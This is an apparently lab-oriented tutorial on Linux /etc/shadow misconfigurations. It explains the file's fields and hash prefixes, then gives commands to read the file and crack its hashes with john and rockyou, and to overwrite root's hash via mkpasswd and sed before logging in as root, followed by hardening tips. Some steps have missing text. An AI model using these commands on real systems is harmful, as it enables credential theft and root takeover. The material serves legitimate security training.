The /etc/shadow file is a crucial component in Unix-based operating systems, such as Linux. It stores encrypted user passwords and related information, providing an additional layer of security by restricting access to sensitive authentication data.

In this file, user passwords are not stored in plain text. Instead, they are encrypted using various hashing algorithms, with the most common being the SHA-512 (Secure Hash Algorithm) or MD5 (Message Digest Algorithm 5) encryption methods. These algorithms create a hashed version of the passwords, making it computationally challenging to reverse the process and obtain the original password.

Common hash types in /etc/shadow:

  • MD5: Typically begins with $1$
  • SHA-256: Often starts with $5$
  • SHA-512: Generally starts with $6$

However, despite the encryption, the /etc/shadow file is a prime target for attackers. If unauthorized individuals gain access to this file, they might use various methods (like brute-force attacks or exploiting vulnerabilities) to crack the hashed passwords, gaining entry to user accounts.

This is how /etc/shadow permissions show look like, only root user can modify it, and other users that belong to the shadow group can read it

  • ls -l /etc/shadow

The /etc/shadow file in Unix-based operating systems contains sensitive information related to user accounts. Each line in the file represents a single user, and these lines consist of several fields or columns, separated by colons. Here’s a breakdown of the columns in the /etc/shadow file:


  • Username: This column contains the username or login name of the user.
  • Password: In modern systems, the password field typically doesn’t contain the actual password. Instead, it stores a hashed version of the password. The hashed password is not reversible, meaning it can’t be converted back to the original password. Instead, during login, the system hashes the entered password and compares it with the stored hashed value to authenticate the user.
  • Last Password Change (in Days): This field records the number of days since the password was last changed. It helps in password expiration policies or identifying when the password was last updated.
  • Minimum Password Age: This column signifies the minimum number of days a user must wait before changing their password. It’s a part of password policy management.
  • Maximum Password Age: This column indicates the maximum number of days a user can keep a password before being required to change it. This field also contributes to password policy management.
  • Password Warning Period: This field typically provides a warning to the user that their password is about to expire within a certain number of days.
  • Password Inactivity Period: If a password remains unused for a specified period, it may be disabled or locked. This field defines the period of inactivity before such action is taken
  • Account Expiration Date: This column specifies the date when the account will expire or be disabled. After this date, the user may not be able to log in without administrative intervention.
  • Reserved: This field is often reserved for future use or system-specific settings.


1. The easiest way is to run “ls” command

  • ls -l /etc/shadow
  • id

In this particular case, we notice out user is not part of the shadow group, but we noticed the /etc/shadow file has READ,WRITE permissions for other users, this means we have permissions to modify this file.

2. Using you can also find clues about this vulnerability being present. (

  • ./

Exploiting /etc/shadow READ permission

1. Having the ability to read /etc/shadow, we can copy the contents of it, and then, crack the hashes using john

  • cat /etc/shadow

2. Copy the contents of it into your own machine, or use any type of file transfer method you prefer, I’ll create a file named shadow

  • vi shadow

3. Now, use john against this file to try to crack the passwords, you can also specify the type of hash using –format=<hash type> argument

  • john –wordlist=/usr/share/wordlists/rockyou.txt shadow
  • john –wordlist=/usr/share/wordlists/rockyou.txt shadow –format=sha512crypt

4. We got the password (password321) of user (user)

5. We can also take just one line for one single user, and, crack it, in case the whole file doesn’t provide enough passwords

  • john –wordlist=/usr/share/wordlists/rockyou.txt shadow

6. Also, we can retrieve previous cracked passwords by using –show parameter, having the root password we can log in as this user

  • john –show shadow

Exploiting /etc/shadow WRITE permission

1. Having the ability to modify the /etc/shadow file, we can generate our own password hash and replace the password field of an existing user, we can modify the root user password, use any accepted hashing algorithm

  • mkpasswd -m sha-512 newpassword

2. Create a backup of the /etc/shadow file

  • cp /etc/shadow shadow.bak
  • ls

3. Copy the output hash, and, replace the root hash with our new hash



4. Now we can log in as root

  • ssh root@


1. You can also use sed command to create a whole new line, to copy & paste

  • sed ‘s/^root:[^:]*:/root:<hash>:/g’ /etc/shadow | grep <user>
  • sed ‘s/^root:[^:]*:/root:$6$kIW2RPXnEttDUn1y$7VCgKvZGaJhS06zJZfWbcGbybqDaynTQMnpZjFjrFcLy9KJ\/97pxQXM5ASSssIUV\/Vydx8QSWJkUPH0tvqoVH\/:/g’ /etc/shadow | grep root


To secure the /etc/shadow file and the passwords within:

  • Restrict File Access: Limit access to this file to only privileged users. Regular users should not have permission to view or modify it.
  • Use Strong Passwords: Encourage users to create strong, complex passwords that are less susceptible to brute-force attacks.
  • Encryption Algorithm: Consider using more secure encryption algorithms (such as SHA-512 over MD5) for password hashing.
  • Monitor File Changes: Implement monitoring tools that can alert administrators about any changes made to the /etc/shadow file.
  • Access Controls and Logging: Set up access controls and robust logging mechanisms to track and monitor any access or modifications to the file.